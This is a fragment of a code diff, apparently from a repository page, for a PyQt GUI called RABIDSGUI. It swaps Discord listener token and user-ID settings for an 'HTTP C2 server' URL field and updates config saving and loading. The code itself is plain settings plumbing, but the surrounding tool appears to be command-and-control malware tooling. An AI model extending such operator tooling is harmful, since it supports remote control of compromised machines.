listener_layout = create_setting_layout(listener_token_label.text(), self.settings_discord_token_edit, listener_token_desc)
|
||||
settings_layout.addLayout(listener_layout)
|
||||
|
||||
listener_creator_id_label = QLabel("Discord User ID")
|
||||
self.settings_listener_creator_id_edit = QLineEdit()
|
||||
listener_creator_id_desc = "Your Discord user ID. The GUI listener bot will only accept commands and DMs from this user."
|
||||
listener_creator_id_layout = create_setting_layout(listener_creator_id_label.text(), self.settings_listener_creator_id_edit, listener_creator_id_desc)
|
||||
settings_layout.addLayout(listener_creator_id_layout)
|
||||
server_url_label = QLabel("HTTP Server URL")
|
||||
self.settings_server_url_edit = QLineEdit()
|
||||
server_url_desc = "The URL of your HTTP C2 server. Example: http://your-server.com:8080"
|
||||
server_url_layout = create_setting_layout(server_url_label.text(), self.settings_server_url_edit, server_url_desc)
|
||||
settings_layout.addLayout(server_url_layout)
|
||||
|
||||
settings_layout.addSpacing(20)
|
||||
|
||||
@ -1825,8 +1608,7 @@ class RABIDSGUI(QMainWindow):
|
||||
"output_dir": self.restore_output_dir_edit.text()
|
||||
},
|
||||
"listener": {
|
||||
"token": self.settings_discord_token_edit.text(),
|
||||
"creator_id": self.settings_listener_creator_id_edit.text()
|
||||
"server_url": self.settings_server_url_edit.text()
|
||||
}
|
||||
}
|
||||
try:
|
||||
@ -1866,8 +1648,7 @@ class RABIDSGUI(QMainWindow):
|
||||
self.restore_output_dir_edit.setText(gc_cfg.get("output_dir", ""))
|
||||
|
||||
listener_cfg = config.get("listener", {})
|
||||
self.settings_discord_token_edit.setText(listener_cfg.get("token", ""))
|
||||
self.settings_listener_creator_id_edit.setText(listener_cfg.get("creator_id", ""))
|
||||
self.settings_server_url_edit.setText(listener_cfg.get("server_url", "http://localhost:8080"))
|
||||
|
||||
except (json.JSONDecodeError, KeyError) as e:
|
||||
print(f"Error loading settings from config file: {e}")
|
||||
|
||||
Reference in New Issue
Block a user